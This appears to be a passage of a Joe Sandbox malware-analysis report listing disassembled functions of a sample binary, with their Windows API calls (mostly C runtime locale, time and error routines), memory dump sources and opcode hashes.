                                                              • Opcode ID: 98bc8a2f2d70d63452cbf4eeb14d41b6918e13b35e4899d8af2d192a94ccf178
                                                              • Instruction ID: 6cee391df19d1d45ae3308ca598383f3581927ed80024662c84aa1f13daf0f54
                                                              • Opcode Fuzzy Hash: 98bc8a2f2d70d63452cbf4eeb14d41b6918e13b35e4899d8af2d192a94ccf178
                                                              • Instruction Fuzzy Hash: 8D31B574901218DBCF61EF64D9897CCBBB9AF58310F5042EAE41CA7250E7709F858F54
                                                              Function 006B57EC Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 006AB350: GetLastError.KERNEL32(?,?,006A56D4,006C77F0,0000000C), ref: 006AB354
                                                                • Part of subcall function 006AB350: SetLastError.KERNEL32(00000000), ref: 006AB3F6
                                                              • EnumSystemLocalesW.KERNEL32(006B5912,00000001,00000000,?,-00000050,?,006B5F43,00000000,?,?,?,00000055,?), ref: 006B585E
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast$EnumLocalesSystem
                                                              • String ID: C_k
                                                              • API String ID: 2417226690-1792938944
                                                              • Opcode ID: c7ce14c78f2b59c203b42fae67797ebec554d567b9887352778c30b092c4027e
                                                              • Instruction ID: a70ed328c08a075b86917e0912729109435cdb038ef0c7e7ec7bfe234c652d05
                                                              • Opcode Fuzzy Hash: c7ce14c78f2b59c203b42fae67797ebec554d567b9887352778c30b092c4027e
                                                              • Instruction Fuzzy Hash: C11129772007019FDB18AF39D8916FAB792FF80328B18442CE5874BB40D371A982CB40
                                                              Function 006A7F30 Relevance: 3.4, APIs: 2, Instructions: 449COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 328877cfbec143cfb10e340733355c27c4f7255f62cec1a1cc70739699e5e674
                                                              • Instruction ID: ef19b0aa508845221068b9d6ec6ba636d8ba9c33c95d650196e1aafcb8804b19
                                                              • Opcode Fuzzy Hash: 328877cfbec143cfb10e340733355c27c4f7255f62cec1a1cc70739699e5e674
                                                              • Instruction Fuzzy Hash: B7F12D71E002199FDF14DFA9C880AEDB7B2FF89314F158269E815A7341DB31AE458F94
                                                              Function 0069D06A Relevance: 3.0, APIs: 2, Instructions: 27timeCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • GetSystemTimePreciseAsFileTime.KERNEL32(?,0069CBF5,?,00000000,00000000,?,0069CBB4,?,?,00000000,?,0069981C,?,?,00000000), ref: 0069D0A2
                                                              • GetSystemTimeAsFileTime.KERNEL32(?,D6EB77FD,?,?,006BB3B1,000000FF,?,0069CBF5,?,00000000,00000000,?,0069CBB4,?,?,00000000), ref: 0069D0A6
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: Time$FileSystem$Precise
                                                              • String ID:
                                                              • API String ID: 743729956-0
                                                              • Opcode ID: bdda106c028852b4a7702638406199dbcb3ac7a46d47148132a50ff10d8e3de9
                                                              • Instruction ID: f01529e2d2b38188e326813dd27eb95eefd1663599497382d210a756ec5fca2c
                                                              • Opcode Fuzzy Hash: bdda106c028852b4a7702638406199dbcb3ac7a46d47148132a50ff10d8e3de9
                                                              • Instruction Fuzzy Hash: 87F06576918954EFCB119F58DD05F9DBBADF708B60F05422AE81293790DB7569008B80
                                                              Function 006AC4D6 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,006AC4D1,?,?,00000008,?,?,006B9233,00000000), ref: 006AC703
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ExceptionRaise
                                                              • String ID:
                                                              • API String ID: 3997070919-0
                                                              • Opcode ID: 917b7afbf04b119fb6a8f0ab8b0ff6048c190749b50b4b3526784f6703bff13d
                                                              • Instruction ID: 96b1afa65fb3d7a39c335a1d980ed8a261ee18fd9384b07bd1b14ac17986061c
                                                              • Opcode Fuzzy Hash: 917b7afbf04b119fb6a8f0ab8b0ff6048c190749b50b4b3526784f6703bff13d
                                                              • Instruction Fuzzy Hash: 6AB129356106088FDB15DF28C486AA57BE2FF46364F258658E89ACF3A1C735ED92CF40
                                                              Function 0069D865 Relevance: 1.6, APIs: 1, Instructions: 147COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0069D87B
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: FeaturePresentProcessor
                                                              • String ID:
                                                              • API String ID: 2325560087-0
                                                              • Opcode ID: 7aaca4f7919deb36fc0c4f7f3cde858758a86cb1f91e8111a0b2ab062decfa26
                                                              • Instruction ID: 03c4653f357827e89691c28e3492c7487954d05402648912a1a2df77beb4bbe9
                                                              • Opcode Fuzzy Hash: 7aaca4f7919deb36fc0c4f7f3cde858758a86cb1f91e8111a0b2ab062decfa26
                                                              • Instruction Fuzzy Hash: A35178B1A186098FEB18CF58D8817AABBFAFB48354F25802AD425EB750D3749A40CF50
                                                              Function 006B5B65 Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 006AB350: GetLastError.KERNEL32(?,?,006A56D4,006C77F0,0000000C), ref: 006AB354
                                                                • Part of subcall function 006AB350: SetLastError.KERNEL32(00000000), ref: 006AB3F6
                                                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006B5BB9
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast$InfoLocale
                                                              • String ID:
                                                              • API String ID: 3736152602-0
                                                              • Opcode ID: e62e0524b1bf6aa790f69093b4fadd1db192c3958af61e79bf063272341ee86c
                                                              • Instruction ID: 13c29aba6393450ab2228381bbde0fcc6267d60f3ca2787d983bf2870ded4495
                                                              • Opcode Fuzzy Hash: e62e0524b1bf6aa790f69093b4fadd1db192c3958af61e79bf063272341ee86c
                                                              • Instruction Fuzzy Hash: 2721C5F2510616ABDF28AB25CC41BFA77AAEF04310B10407EF907D6241EB35EDC58B54
                                                              Function 006A4362 Relevance: 1.6, Strings: 1, Instructions: 314COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: 0
                                                              • API String ID: 0-4108050209
                                                              • Opcode ID: 267378d39cadf42086cc79bf26481b817f15d82bca6b59a2069528e96a9bd77d
                                                              • Instruction ID: 4feb26cf535da321c587b9065d31cbb99c5ad9d56e9ba92e42b7901851ed6aab
                                                              • Opcode Fuzzy Hash: 267378d39cadf42086cc79bf26481b817f15d82bca6b59a2069528e96a9bd77d
                                                              • Instruction Fuzzy Hash: 44B18D70904A4A8BCB24EE688C916EEB7E3EF87300F14461ED55297392CFB1AD46CF55
                                                              Function 006B5D94 Relevance: 1.5, APIs: 1, Instructions: 45COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 006AB350: GetLastError.KERNEL32(?,?,006A56D4,006C77F0,0000000C), ref: 006AB354
                                                                • Part of subcall function 006AB350: SetLastError.KERNEL32(00000000), ref: 006AB3F6
                                                              • GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,006B5C0F,00000000,00000000,?), ref: 006B5DC0
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast$InfoLocale
                                                              • String ID:
                                                              • API String ID: 3736152602-0
                                                              • Opcode ID: 62adc4a73913ecacb3fbe9bef56cbe1c92b4d14e586d2fb9a904049189014ad0
                                                              • Instruction ID: a3cf2286926bae375ccb1b2c7ccf0b2827682ae28c19874014a30ee411793409
                                                              • Opcode Fuzzy Hash: 62adc4a73913ecacb3fbe9bef56cbe1c92b4d14e586d2fb9a904049189014ad0
                                                              • Instruction Fuzzy Hash: 4CF0CD726106157BDB245725CC09BFE7765EF40754F154628ED07A3280DA74FE81CB94
                                                              Function 006B56FA Relevance: 1.5, APIs: 1, Instructions: 43COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 006AB350: GetLastError.KERNEL32(?,?,006A56D4,006C77F0,0000000C), ref: 006AB354
                                                                • Part of subcall function 006AB350: SetLastError.KERNEL32(00000000), ref: 006AB3F6
                                                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 006B574E
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast$InfoLocale
                                                              • String ID: utf8
                                                              • API String ID: 3736152602-905460609
                                                              • Opcode ID: 0ed97d672b1f0f47876fbca6a832d6f8482d22d56f828f3b0c8806f91217e1c7
                                                              • Instruction ID: fc2c219ea9e73bfba98a19635e892d77e4207a603abd93221a68d556ec5e8abc
                                                              • Opcode Fuzzy Hash: 0ed97d672b1f0f47876fbca6a832d6f8482d22d56f828f3b0c8806f91217e1c7
                                                              • Instruction Fuzzy Hash: 25F02872610109ABDB14AB38DC06EFA33EDDF45310F00417DF607D7242EA38AD058794
                                                              Function 006B5887 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 006AB350: GetLastError.KERNEL32(?,?,006A56D4,006C77F0,0000000C), ref: 006AB354
                                                                • Part of subcall function 006AB350: SetLastError.KERNEL32(00000000), ref: 006AB3F6
                                                              • EnumSystemLocalesW.KERNEL32(006B5B65,00000001,?,?,-00000050,?,006B5F07,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 006B58D1
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast$EnumLocalesSystem
                                                              • String ID:
                                                              • API String ID: 2417226690-0
                                                              • Opcode ID: fbcb20f73d740530915dc5a2604cd165f01a0f0d049da9e6b6dd204377a039d3
                                                              • Instruction ID: 6e4b4f71dda1a202cb85b46856d58ae5fd039d2d535fcff4762244efc705c5dd
                                                              • Opcode Fuzzy Hash: fbcb20f73d740530915dc5a2604cd165f01a0f0d049da9e6b6dd204377a039d3
                                                              • Instruction Fuzzy Hash: B0F0C2762007045FDB246F39D881BFA7B92EB81768F09452CF9468B680C6B1AC82DB54
                                                              Function 006AD0B6 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 006A58DD: EnterCriticalSection.KERNEL32(?,?,006AB028,?,006C7B20,00000008,006AB1EC,?,?,?), ref: 006A58EC
                                                              • EnumSystemLocalesW.KERNEL32(006AD0A9,00000001,006C7C00,0000000C,006AD518,00000000), ref: 006AD0EE
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: CriticalEnterEnumLocalesSectionSystem
                                                              • String ID:
                                                              • API String ID: 1272433827-0
                                                              • Opcode ID: 4ff17f0fa5dc66d1abd5099c608fb30b3c6a34126435d63e1f10d1d67fac94c9
                                                              • Instruction ID: 7f9bd6d6005071ee2f2ec178045171923a7c3db65deeb8189b1bf0cc7ecefa2b
                                                              • Opcode Fuzzy Hash: 4ff17f0fa5dc66d1abd5099c608fb30b3c6a34126435d63e1f10d1d67fac94c9
                                                              • Instruction Fuzzy Hash: 10F01D76A14204EFDB00FF98E842B9D77F1EB0A721F10416AF421DB6A1DBB59940DF54
                                                              Function 006B57A1 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 006AB350: GetLastError.KERNEL32(?,?,006A56D4,006C77F0,0000000C), ref: 006AB354
                                                                • Part of subcall function 006AB350: SetLastError.KERNEL32(00000000), ref: 006AB3F6
                                                              • EnumSystemLocalesW.KERNEL32(006B56FA,00000001,?,?,?,006B5F65,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 006B57D8
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast$EnumLocalesSystem
                                                              • String ID:
                                                              • API String ID: 2417226690-0
                                                              • Opcode ID: 10a43aaca46ee02eb1c741a1037cef51079074bd12b0b6112cef1cf0b0dde0b2
                                                              • Instruction ID: 2f1e97a79f8281ef8728633696ee2609e450cc77de739df2fccb67cd1892ff0a
                                                              • Opcode Fuzzy Hash: 10a43aaca46ee02eb1c741a1037cef51079074bd12b0b6112cef1cf0b0dde0b2
                                                              • Instruction Fuzzy Hash: C0F0E57A30030597CB04AF39D8557EA7F96EFC2720B4A406CEA0A8B251C6719983CB90
                                                              Function 006AD61C Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,006AAA56,?,20001004,00000000,00000002,?,?,006AA058), ref: 006AD650
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: InfoLocale
                                                              • String ID:
                                                              • API String ID: 2299586839-0
                                                              • Opcode ID: f1a8a04231e6d8eca59d64eac71e8c95e095a127ea7d82b92aaad4a8ea3fa72b
                                                              • Instruction ID: dd8e15a4114089eff2375ee166fa56a0b924c9d848c334d827f395f1519b59c1
                                                              • Opcode Fuzzy Hash: f1a8a04231e6d8eca59d64eac71e8c95e095a127ea7d82b92aaad4a8ea3fa72b
                                                              • Instruction Fuzzy Hash: 1EE04F71500128BBCF123F65DC05E9E7F27EF457A0F004015FD1665662CB318D61AED8
                                                              Function 0069DBE1 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetUnhandledExceptionFilter.KERNEL32(0069DBED,0069D5B3), ref: 0069DBE6
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ExceptionFilterUnhandled
                                                              • String ID:
                                                              • API String ID: 3192549508-0
                                                              • Opcode ID: 8aa5903478ef69514865782873f8181051eea7236c5aa148fee1e5808aa0c00d
                                                              • Instruction ID: e8a2d9c3700fc94651aafdd3781ebc93a507e2bc280f2e2fd4d7e91387229609
                                                              • Opcode Fuzzy Hash: 8aa5903478ef69514865782873f8181051eea7236c5aa148fee1e5808aa0c00d
                                                              • Instruction Fuzzy Hash:
                                                              Function 006B38E7 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: HeapProcess
                                                              • String ID:
                                                              • API String ID: 54951025-0
                                                              • Opcode ID: 99662757b6d6ea01f2f959cbec4e1124bdcf6a28e6faa6b7096f549b178955b5
                                                              • Instruction ID: 27219592421ab9675faba7f33102b32c3c9ce5697bad5d2539714d5981195069
                                                              • Opcode Fuzzy Hash: 99662757b6d6ea01f2f959cbec4e1124bdcf6a28e6faa6b7096f549b178955b5
                                                              • Instruction Fuzzy Hash: C7A02471304100DFC3005F30DF0430F35DD77001D030500545005C1070D73041C05F00
                                                              Function 006AEC04 Relevance: .0, Instructions: 22COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 9f52d7548de73c2df35ffbc499fbf997fd1a510aea2d130e71c389f74e202ceb
                                                              • Instruction ID: 9814c87200345ff801f21d965830ddd8fe5ea04d853910cfe0034e68a70272a6
                                                              • Opcode Fuzzy Hash: 9f52d7548de73c2df35ffbc499fbf997fd1a510aea2d130e71c389f74e202ceb
                                                              • Instruction Fuzzy Hash: 3CE08C72911238EBCB14EB88C90598AF3EDEB46F10B11049AF912D3200C270EE00CBD0
                                                              Function 006A8A8C Relevance: .0, Instructions: 12COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: fe2f21aa9c1ecbffe2708fd8a0ab1a033b91d0d6599410b1735c5d2c8283de74
                                                              • Instruction ID: cccbe21beecddeea0d7fc9693966ff8f9ef664ce0152d9e23ab3b900d734c768
                                                              • Opcode Fuzzy Hash: fe2f21aa9c1ecbffe2708fd8a0ab1a033b91d0d6599410b1735c5d2c8283de74
                                                              • Instruction Fuzzy Hash: 3CC08C35010D004ACF29A91886B13E57366B3D3782FC0048DC6030BB42C91E9C83DE02
                                                              Function 006B1AAA Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 298COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: $@lj
                                                              • API String ID: 0-3922895539
                                                              • Opcode ID: e59a29b3e88a3faa16c4a4f79bdfb721eae9912dab6bd0d78f33b185726fb260
                                                              • Instruction ID: a204416e2ee0e6e10404f276cbc20368b754d6420ddd9457cafac36208117a6a
                                                              • Opcode Fuzzy Hash: e59a29b3e88a3faa16c4a4f79bdfb721eae9912dab6bd0d78f33b185726fb260
                                                              • Instruction Fuzzy Hash: AFB1A1B0A04649BFDB11EF98C8A4BEE7BB3AF4A350F544158E9019B391C7709D82CF60
                                                              Function 0069D025 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 19libraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetModuleHandleW.KERNEL32(kernel32.dll), ref: 0069D02B
                                                              • GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 0069D039
                                                              • GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 0069D04A
